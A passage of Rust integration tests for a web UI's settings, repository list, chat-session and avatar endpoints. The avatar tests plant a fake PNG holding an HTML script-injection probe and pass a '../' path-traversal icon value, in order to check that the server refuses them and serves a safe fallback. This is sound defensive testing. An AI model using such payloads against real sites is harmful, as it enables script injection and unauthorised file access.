9725            settings_put_roles(State(ui.clone()), unknown(), body())
9726                .await
9727                .unwrap_err()
9728                .status,
9729            StatusCode::UNPROCESSABLE_ENTITY
9730        );
9731        assert_eq!(std::fs::read(&machine).unwrap(), before);
9732        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9733            .await
9734            .unwrap();
9735        assert_eq!(
9736            saved.repo,
9737            selected.canonicalize().unwrap().display().to_string()
9738        );
9739        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9740        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9741        // A cache miss refreshes the stable candidate list exactly for validation.
9742        let fresh = root.join("host/owner/fresh");
9743        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9744        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9745            .await
9746            .unwrap();
9747        assert_eq!(fresh_view.repositories.len(), 3);
9748    }
9749
9750    #[tokio::test]
9751    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9752        let (tmp, repo, machine) = settings_dirs(
9753            "[roles]\nreviewers = [\"a\"]\n",
9754            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9755        );
9756        let root = tmp.path().join("roots");
9757        let selected = root.join("host/owner/selected");
9758        settings_checkout(
9759            &selected,
9760            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9761        )
9762        .await;
9763        let broken = root.join("host/owner/broken");
9764        settings_checkout(&broken, "[roles\nbroken").await;
9765        let machine_text = format!(
9766            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9767            toml::Value::String(root.display().to_string())
9768        );
9769        std::fs::write(&machine, &machine_text).unwrap();
9770        let originals: Vec<_> = [&repo, &selected, &broken]
9771            .iter()
9772            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9773            .collect();
9774        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9775        let default = f.get("/api/settings").await.json();
9776        assert_eq!(
9777            default["repo"],
9778            repo.canonicalize().unwrap().display().to_string()
9779        );
9780        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9781        let query = format!("?repo={}", selected.display());
9782        let res = f.get(&format!("/api/settings{query}")).await;
9783        assert_eq!(res.status, 200, "{}", res.body);
9784        let v = res.json();
9785        assert!(v["error"].is_null(), "{v}");
9786        assert_eq!(v["repositories"], default["repositories"]);
9787        let role = |key: &str| {
9788            v["roles"]
9789                .as_array()
9790                .unwrap()
9791                .iter()
9792                .find(|r| r["key"] == key)
9793                .unwrap()
9794        };
9795        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9796        assert_eq!(role("advisors")["source"], "repo");
9797        assert_eq!(role("advisors")["editable"], false);
9798        assert!(role("advisors")["machine_value"].is_null());
9799        assert_eq!(role("judges")["count"]["value"], 2);
9800        assert_eq!(role("judges")["count"]["machine_value"], 1);
9801        assert_eq!(role("judges")["count"]["source"], "repo");
9802        let source = role("judges")["count"]["source_path"].as_str().unwrap();
9803        assert!(
9804            source.contains("origin/main") && !source.contains("magi/config/"),
9805            "{source}"
9806        );
9807        assert_eq!(
9808            role("reviewers")["editable"],
9809            false,
9810            "default context outside roots must protect its declarations"
9811        );
9812        let body =
9813            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9814        let unknown = format!("?repo={}", tmp.path().display());
9815        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9816        assert_eq!(
9817            f.put(&format!("/api/settings/roles{unknown}"), &body)
9818                .await
9819                .status,
9820            422
9821        );
9822        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9823        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9824            .to_string();
9825        assert_eq!(
9826            f.put(&format!("/api/settings/roles{query}"), &refuse)
9827                .await
9828                .status,
9829            422
9830        );
9831        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9832        assert_eq!(saved.status, 200, "{}", saved.body);
9833        assert_eq!(saved.json()["repo"], v["repo"]);
9834        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9835        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9836        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9837            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9838        }
9839        let error = f
9840            .get(&format!("/api/settings?repo={}", broken.display()))
9841            .await;
9842        assert_eq!(error.status, 200);
9843        assert!(error.json()["error"]["message"].is_string());
9844        assert_eq!(error.json()["repositories"], default["repositories"]);
9845    }
9846
9847    #[tokio::test]
9848    async fn settings_get_reports_sources_and_the_advisors_fallback() {
9849        let (_tmp, repo, machine) =
9850            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9851        let f = Fixture::with_repo_and_machine(repo, machine).await;
9852        let res = f.get("/api/settings").await;
9853        assert_eq!(res.status, 200, "{}", res.body);
9854        let v = res.json();
9855        assert!(v["error"].is_null(), "{v}");
9856        let role = |k: &str| {
9857            v["roles"]
9858                .as_array()
9859                .and_then(|r| r.iter().find(|x| x["key"] == k))
9860                .cloned()
9861                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9862        };
9863        assert_eq!(role("judges")["source"], "machine");
9864        assert_eq!(role("judges")["editable"], true);
9865        assert_eq!(role("implementers")["source"], "default");
9866        let adv = role("advisors");
9867        assert_eq!(adv["fallback"], "judges");
9868        assert!(
9869            adv["seats"]
9870                .as_array()
9871                .is_some_and(|s| s.iter().all(|x| x == "b")),
9872            "{adv}"
9873        );
9874        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9875        assert_eq!(v["agents"][0]["source"], "repo");
9876    }
9877
9878    #[tokio::test]
9879    async fn settings_get_reports_a_config_that_does_not_parse() {
9880        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9881        let f = Fixture::with_repo_and_machine(repo, machine).await;
9882        let res = f.get("/api/settings").await;
9883        assert_eq!(res.status, 200, "{}", res.body);
9884        let v = res.json();
9885        assert!(v["error"]["message"].is_string(), "{v}");
9886        assert!(
9887            v["error"]["path"]
9888                .as_str()
9889                .is_some_and(|p| p.ends_with("magi.toml")),
9890            "{v}"
9891        );
9892        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9893    }
9894
9895    #[tokio::test]
9896    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9897        let (_tmp, repo, machine) = settings_dirs(
9898            SETTINGS_AGENTS,
9899            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
9900        );
9901        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9902        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9903        let rev = f.get("/api/settings").await.json()["revision"]
9904            .as_str()
9905            .expect("revision")
9906            .to_owned();
9907        let body = serde_json::json!({
9908            "revision": rev,
9909            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9910        })
9911        .to_string();
9912        let res = f.put("/api/settings/roles", &body).await;
9913        assert_eq!(res.status, 200, "{}", res.body);
9914        let text = std::fs::read_to_string(&machine).expect("machine");
9915        assert_eq!(
9916            text,
9917            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9918        );
9919        assert_eq!(
9920            std::fs::read(repo.join("magi.toml")).expect("read"),
9921            repo_before
9922        );
9923        let again = f.get("/api/settings").await.json();
9924        let judges = again["roles"]
9925            .as_array()
9926            .expect("roles")
9927            .iter()
9928            .find(|r| r["key"] == "judges")
9929            .expect("judges")
9930            .clone();
9931        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9932        // The old revision is now stale.
9933        let stale = f.put("/api/settings/roles", &body).await;
9934        assert_eq!(stale.status, 409, "{}", stale.body);
9935    }
9936
9937    #[tokio::test]
9938    async fn settings_counts_are_reported_and_saved() {
9939        let (_tmp, repo, machine) = settings_dirs(
9940            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9941            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9942        );
9943        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9944        let v = f.get("/api/settings").await.json();
9945        let count = |v: &serde_json::Value, k: &str| {
9946            v["roles"]
9947                .as_array()
9948                .and_then(|r| r.iter().find(|x| x["key"] == k))
9949                .map(|x| x["count"].clone())
9950                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9951        };
9952        let imp = count(&v, "implementers");
9953        assert_eq!(imp["value"], 2);
9954        assert_eq!(imp["source"], "machine");
9955        assert_eq!(imp["file_key"], "candidates");
9956        assert_eq!(imp["roster_len"], 2);
9957        assert_eq!(imp["backups"], 0);
9958        assert_eq!(count(&v, "judges")["source"], "default");
9959        assert_eq!(count(&v, "advisors")["min"], 0);
9960        assert_eq!(count(&v, "reviewers")["editable"], false);
9961        assert!(
9962            count(&v, "reviewers")["locked_reason"]
9963                .as_str()
9964                .is_some_and(|m| m.contains("graph.reviewers"))
9965        );
9966        assert!(count(&v, "fixer").is_null());
9967        let rev = v["revision"].as_str().expect("revision").to_owned();
9968        let body = serde_json::json!({
9969            "revision": rev,
9970            "roles": { "judges": ["b"] },
9971            "counts": { "implementers": 1, "advisors": 0 }
9972        })
9973        .to_string();
9974        let res = f.put("/api/settings/roles", &body).await;
9975        assert_eq!(res.status, 200, "{}", res.body);
9976        let text = std::fs::read_to_string(&machine).expect("machine");
9977        assert_eq!(
9978            text,
9979            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9980        );
9981        let after = f.get("/api/settings").await.json();
9982        assert_eq!(count(&after, "implementers")["value"], 1);
9983        assert_eq!(count(&after, "implementers")["backups"], 1);
9984        assert_eq!(count(&after, "advisors")["value"], 0);
9985        let before = std::fs::read_to_string(&machine).expect("machine");
9986        let rev = after["revision"].as_str().expect("revision").to_owned();
9987        for counts in [
9988            serde_json::json!({ "judges": 0 }),
9989            serde_json::json!({ "judges": "x" }),
9990            serde_json::json!({ "judges": 2.5 }),
9991            serde_json::json!({ "judges": -1 }),
9992            serde_json::json!({ "reviewers": 3 }),
9993            serde_json::json!({ "bogus": 3 }),
9994        ] {
9995            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9996            let res = f.put("/api/settings/roles", &body).await;
9997            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9998            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9999        }
10000    }
10001
10002    #[tokio::test]
10003    async fn settings_put_refuses_without_touching_the_file() {
10004        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10005        let (_tmp, repo, machine) = settings_dirs(
10006            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10007            Some(machine_text),
10008        );
10009        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10010        let rev = f.get("/api/settings").await.json()["revision"]
10011            .as_str()
10012            .expect("revision")
10013            .to_owned();
10014        for roles in [
10015            serde_json::json!({ "judges": ["nope"] }),
10016            serde_json::json!({ "reviewers": ["b"] }),
10017            serde_json::json!({ "bogus": ["a"] }),
10018        ] {
10019            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10020            let res = f.put("/api/settings/roles", &body).await;
10021            assert_eq!(res.status, 422, "{roles}: {}", res.body);
10022            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10023            assert_eq!(
10024                std::fs::read_to_string(&machine).expect("machine"),
10025                machine_text
10026            );
10027        }
10028    }
10029
10030    #[tokio::test]
10031    async fn repos_list_returns_name_and_path_for_every_configured_root() {
10032        let tmp = TempDir::new().expect("tempdir");
10033        let repo = tmp.path().join("repo");
10034        std::fs::create_dir_all(&repo).expect("repo dir");
10035        let root = tmp.path().join("root");
10036        make_checkout(&root, "github.com", "yukimemi", "magi");
10037        std::fs::write(
10038            repo.join("magi.toml"),
10039            format!(
10040                "[repos]\nroots = [{:?}]\n",
10041                root.to_string_lossy().into_owned()
10042            ),
10043        )
10044        .expect("write magi.toml");
10045
10046        let f = Fixture::with_repo(repo).await;
10047        let res = f.get("/api/repos").await;
10048        assert_eq!(res.status, 200, "{}", res.body);
10049        let list = res.json();
10050        let repos = list.as_array().expect("an array");
10051        assert_eq!(repos.len(), 1);
10052        assert_eq!(repos[0]["name"], "yukimemi/magi");
10053        assert!(
10054            repos[0]["path"]
10055                .as_str()
10056                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10057            "{list}"
10058        );
10059    }
10060
10061    #[tokio::test]
10062    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10063        let tmp = TempDir::new().expect("tempdir");
10064        let repo = tmp.path().join("repo");
10065        std::fs::create_dir_all(&repo).expect("repo dir");
10066        let root = tmp.path().join("root");
10067        make_checkout(&root, "github.com", "yukimemi", "magi");
10068        std::fs::write(
10069            repo.join("magi.toml"),
10070            format!(
10071                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10072                root.to_string_lossy().into_owned()
10073            ),
10074        )
10075        .expect("write magi.toml");
10076
10077        let f = Fixture::with_repo(repo).await;
10078        let first = f.get("/api/repos").await;
10079        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10080
10081        // A second checkout appears; within the TTL the cached answer must
10082        // not notice it.
10083        make_checkout(&root, "github.com", "yukimemi", "rvpm");
10084        let second = f.get("/api/repos").await;
10085        assert_eq!(
10086            second.json().as_array().map(Vec::len),
10087            Some(1),
10088            "a fresh cache must not rescan inside the TTL"
10089        );
10090
10091        let refreshed = f.get("/api/repos?refresh=1").await;
10092        assert_eq!(
10093            refreshed.json().as_array().map(Vec::len),
10094            Some(2),
10095            "an explicit refresh must rescan even inside the TTL"
10096        );
10097    }
10098
10099    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
10100    /// string, declared straight in a repository's own `magi.toml` rather
10101    /// than the operator's real roster. No real agent CLI is spawned - `sh`
10102    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
10103    /// this is safe to run over a real HTTP round trip.
10104    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10105
10106    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
10107    /// real `Config::discover` to find an agent - `talk::begin` resolves one
10108    /// even though it takes no turn, and `talk_say` invokes one.
10109    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10110        let tmp = TempDir::new().expect("tempdir");
10111        let repo = tmp.path().join("repo");
10112        std::fs::create_dir_all(&repo).expect("repo dir");
10113        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10114        let f = Fixture::with_repo(repo.clone()).await;
10115        (tmp, repo, f)
10116    }
10117
10118    #[tokio::test]
10119    async fn posting_a_talk_with_remembered_choices_is_soft() {
10120        let (_tmp, _repo, f) = talk_fixture().await;
10121
10122        let good = f
10123            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10124            .await;
10125        assert_eq!(good.status, 201, "{}", good.body);
10126        assert_eq!(good.json()["persona"], "rei");
10127
10128        // Wrong values and wrong types are dropped one by one, never a 4xx.
10129        let stale = f
10130            .post(
10131                "/api/talks",
10132                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10133            )
10134            .await;
10135        assert_eq!(stale.status, 201, "{}", stale.body);
10136        let v = stale.json();
10137        assert_eq!(v["implementers"], 1);
10138        assert_ne!(v["persona"], "nobody");
10139        let typed = f
10140            .post(
10141                "/api/talks",
10142                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10143            )
10144            .await;
10145        assert_eq!(typed.status, 201, "{}", typed.body);
10146
10147        // The strict `agent` field still refuses an unknown id.
10148        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10149        assert!(
10150            !strict.status.to_string().starts_with('2'),
10151            "{}",
10152            strict.body
10153        );
10154    }
10155
10156    #[tokio::test]
10157    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10158        let (_tmp, _repo, f) = talk_fixture().await;
10159
10160        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
10161        // is the ordinary way a phone opens a talk.
10162        let opened = f.post("/api/talks", None).await;
10163        assert_eq!(opened.status, 201, "{}", opened.body);
10164        let body = opened.json();
10165        assert_eq!(body["status"], "open");
10166        assert_eq!(
10167            body["turns"].as_array().unwrap().len(),
10168            0,
10169            "opening takes no agent turn: there is nothing yet to answer"
10170        );
10171
10172        // An explicit empty object is the same request as none at all.
10173        let also_opened = f.post("/api/talks", Some("{}")).await;
10174        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10175
10176        let listed = f.get("/api/talks").await.json();
10177        assert_eq!(listed.as_array().unwrap().len(), 2);
10178    }
10179
10180    #[tokio::test]
10181    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10182        let tmp = TempDir::new().expect("tempdir");
10183        let repo = tmp.path().join("repo");
10184        std::fs::create_dir_all(&repo).expect("repo dir");
10185        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10186        std::fs::write(
10187            repo.join("magi.toml"),
10188            format!("{MOCK_AGENT_TOML}\n{second}"),
10189        )
10190        .expect("write magi.toml");
10191        let home = TempDir::new().expect("temp home");
10192        let talks = Talks::at(home.path().join("talks"));
10193        let ui = Arc::new(
10194            Ui::new(
10195                Queue::at(home.path().join("queue")),
10196                Questions::at(home.path().join("questions")),
10197                talks.clone(),
10198                home.path().join("runs"),
10199                home.path().to_path_buf(),
10200                repo.clone(),
10201            )
10202            .with_worktrees_root(home.path().join("wt")),
10203        );
10204        let cfg = config_for(&repo).await.expect("discover config");
10205        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10206        let id = talk.id.clone();
10207        let call = |agent: &str| {
10208            talk_agent(
10209                State(Arc::clone(&ui)),
10210                Path(id.clone()),
10211                Json(TalkAgent {
10212                    agent: agent.to_owned(),
10213                }),
10214            )
10215        };
10216
10217        let unknown = call("nobody").await.expect_err("unknown agent");
10218        assert_eq!(
10219            unknown.status,
10220            StatusCode::BAD_REQUEST,
10221            "{}",
10222            unknown.message
10223        );
10224
10225        {
10226            // Nothing refused so far took a claim, so the guard is free to take
10227            // and holding it is what makes the talk busy.
10228            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10229            let busy = call("second").await.expect_err("busy talk");
10230            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10231            assert!(
10232                busy.message.contains("a talk turn is running"),
10233                "{}",
10234                busy.message
10235            );
10236            drop(guard);
10237        }
10238        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10239
10240        let Json(view) = call("second").await.expect("switch");
10241        assert_eq!(view.talk.agent, "second");
10242        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10243        let saved = talks.get(&id).expect("reload");
10244        assert_eq!(saved.agent, "second");
10245        assert_eq!(saved.turns.len(), 1);
10246        assert!(!view.thinking);
10247        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10248        for agent in ["mock", "second"] {
10249            let Json(view) = call(agent).await.expect("immediate consecutive change");
10250            assert_eq!(view.talk.agent, agent);
10251            assert!(!view.thinking);
10252            assert!(!ui.is_thinking(&id));
10253        }
10254
10255        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10256            .await
10257            .expect("detail");
10258        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10259        assert_eq!(roster, ["mock", "second"]);
10260
10261        let mut closed = talks.get(&id).expect("reload");
10262        talk::close(&mut closed, &talks).expect("close");
10263        let refused = call("mock").await.expect_err("closed talk");
10264        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10265        assert!(
10266            refused.message.contains("takes no more turns"),
10267            "{}",
10268            refused.message
10269        );
10270    }
10271
10272    #[tokio::test]
10273    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10274        let tmp = TempDir::new().expect("tempdir");
10275        let repo = tmp.path().join("repo");
10276        std::fs::create_dir_all(&repo).expect("repo dir");
10277        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10278        let home = TempDir::new().expect("temp home");
10279        let talks = Talks::at(home.path().join("talks"));
10280        let ui = Arc::new(
10281            Ui::new(
10282                Queue::at(home.path().join("queue")),
10283                Questions::at(home.path().join("questions")),
10284                talks.clone(),
10285                home.path().join("runs"),
10286                home.path().to_path_buf(),
10287                repo.clone(),
10288            )
10289            .with_worktrees_root(home.path().join("wt")),
10290        );
10291        let cfg = config_for(&repo).await.expect("discover config");
10292        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10293        let id = talk.id.clone();
10294        let call = |n: u8| {
10295            talk_implementers(
10296                State(Arc::clone(&ui)),
10297                Path(id.clone()),
10298                Json(TalkImplementers { implementers: n }),
10299            )
10300        };
10301
10302        for bad in [0u8, 4] {
10303            let e = call(bad).await.expect_err("out of range");
10304            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10305        }
10306        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10307
10308        {
10309            // Nothing refused so far took a claim, so the guard is free to take
10310            // and holding it is what makes the talk busy.
10311            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10312            let busy = call(2).await.expect_err("busy talk");
10313            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10314            assert!(
10315                busy.message.contains("a talk turn is running"),
10316                "{}",
10317                busy.message
10318            );
10319            drop(guard);
10320        }
10321
10322        let Json(view) = call(3).await.expect("switch");
10323        assert_eq!(view.talk.implementers, 3);
10324        assert!(talks.get(&id).expect("reload").implementers_dirty);
10325        assert!(!view.thinking);
10326        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10327        for n in [1, 2, 3] {
10328            let Json(view) = call(n).await.expect("immediate consecutive change");
10329            assert_eq!(view.talk.implementers, n);
10330            assert!(!view.thinking);
10331            assert!(!ui.is_thinking(&id));
10332        }
10333
10334        let mut closed = talks.get(&id).expect("reload");
10335        talk::close(&mut closed, &talks).expect("close");
10336        let e = call(2).await.expect_err("closed talk");
10337        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10338        assert!(e.message.contains("takes no more turns"), "{}", e.message);
10339    }
10340
10341    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
10342    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10343        let tmp = TempDir::new().expect("tempdir");
10344        let repo = tmp.path().join("repo");
10345        std::fs::create_dir_all(&repo).expect("repo dir");
10346        std::fs::write(
10347            repo.join("magi.toml"),
10348            format!("{MOCK_AGENT_TOML}\n{extra}"),
10349        )
10350        .expect("write magi.toml");
10351        let home = TempDir::new().expect("temp home");
10352        let talks = Talks::at(home.path().join("talks"));
10353        let ui = Arc::new(
10354            Ui::new(
10355                Queue::at(home.path().join("queue")),
10356                Questions::at(home.path().join("questions")),
10357                talks.clone(),
10358                home.path().join("runs"),
10359                home.path().to_path_buf(),
10360                repo.clone(),
10361            )
10362            .with_worktrees_root(home.path().join("wt")),
10363        );
10364        let cfg = config_for(&repo).await.expect("discover config");
10365        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10366        (tmp, home, ui, talk.id, repo)
10367    }
10368
10369    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
10370    async fn avatar(
10371        ui: &Arc<Ui>,
10372        id: &str,
10373        persona: Option<&str>,
10374        builtin: bool,
10375    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10376        let res = talk_avatar(
10377            State(Arc::clone(ui)),
10378            Path(id.to_owned()),
10379            Query(AvatarQuery {
10380                persona: persona.map(str::to_owned),
10381                builtin: builtin.then(|| "1".to_owned()),
10382            }),
10383        )
10384        .await
10385        .expect("an avatar is never an error response");
10386        let h = res.headers();
10387        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10388        let nosniff = h
10389            .get(header::X_CONTENT_TYPE_OPTIONS)
10390            .is_some_and(|v| v == "nosniff");
10391        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10392        let status = res.status();
10393        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10394            .await
10395            .expect("body")
10396            .to_vec();
10397        (status, ct, nosniff, csp, body)
10398    }
10399
10400    fn tiny_png() -> Vec<u8> {
10401        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10402        b.extend_from_slice(&[0u8; 32]);
10403        b
10404    }
10405
10406    #[tokio::test]
10407    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10408        let res = operator_avatar().await;
10409        assert_eq!(res.status(), StatusCode::OK);
10410        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10411        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10412        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10413        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10414        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10415            .await
10416            .unwrap();
10417        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10418        assert_ne!(
10419            persona_icon::operator_svg(),
10420            persona_icon::builtin_svg("default")
10421        );
10422    }
10423
10424    #[tokio::test]
10425    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10426        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10427        for p in [
10428            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10429        ] {
10430            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10431            assert_eq!(status, StatusCode::OK, "{p}");
10432            assert_eq!(ct, "image/svg+xml", "{p}");
10433            assert!(nosniff && csp, "{p}");
10434            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10435        }
10436        // No `persona` means the conversation's own; unknown ones fall back.
10437        let own = avatar(&ui, &id, None, false).await;
10438        let default = avatar(&ui, &id, Some("default"), false).await;
10439        assert_eq!(own.4, default.4);
10440        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10441        assert_eq!(unknown.1, "image/svg+xml");
10442    }
10443
10444    #[tokio::test]
10445    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10446        let dir = TempDir::new().expect("icons");
10447        let good = dir.path().join("good.png");
10448        std::fs::write(&good, tiny_png()).unwrap();
10449        let spoof = dir.path().join("spoof.png");
10450        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10451        let big = dir.path().join("big.png");
10452        let mut bytes = tiny_png();
10453        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10454        std::fs::write(&big, bytes).unwrap();
10455        let missing = dir.path().join("missing.png");
10456        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10457        let extra = format!(
10458            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10459             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10460             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10461             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10462             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10463             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10464            uri(&good),
10465            uri(&spoof),
10466            uri(&big),
10467            uri(&missing),
10468        );
10469        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10470
10471        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10472        assert_eq!(
10473            (status, ct.as_str(), nosniff),
10474            (StatusCode::OK, "image/png", true)
10475        );
10476        assert_eq!(body, tiny_png());
10477        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10478        assert_eq!(ct, "image/png", "data URI");
10479
10480        for p in ["misato", "asuka", "shinji", "magi"] {
10481            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10482            assert_eq!(
10483                (status, ct.as_str(), csp),
10484                (StatusCode::OK, "image/svg+xml", true),
10485                "{p}"
10486            );
10487            assert!(body.starts_with(b"<svg"), "{p}");
10488        }
10489        // The page's own retry skips the icon.
10490        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10491        assert_eq!(ct, "image/svg+xml");
10492    }
10493
10494    #[tokio::test]
10495    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10496        let oversized = format!(
10497            "data:image/png;base64,{}",
10498            "A".repeat(persona_icon::ICON_MAX_BYTES)
10499        );
10500        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10501            let extra = format!(
10502                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10503            );
10504            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10505            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10506                .await
10507                .expect("detail with invalid icon");
10508            assert!(detail.personas.iter().any(|p| p.id == "custom"));
10509            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10510            assert_eq!(status, StatusCode::OK);
10511            assert_eq!(ct, "image/svg+xml");
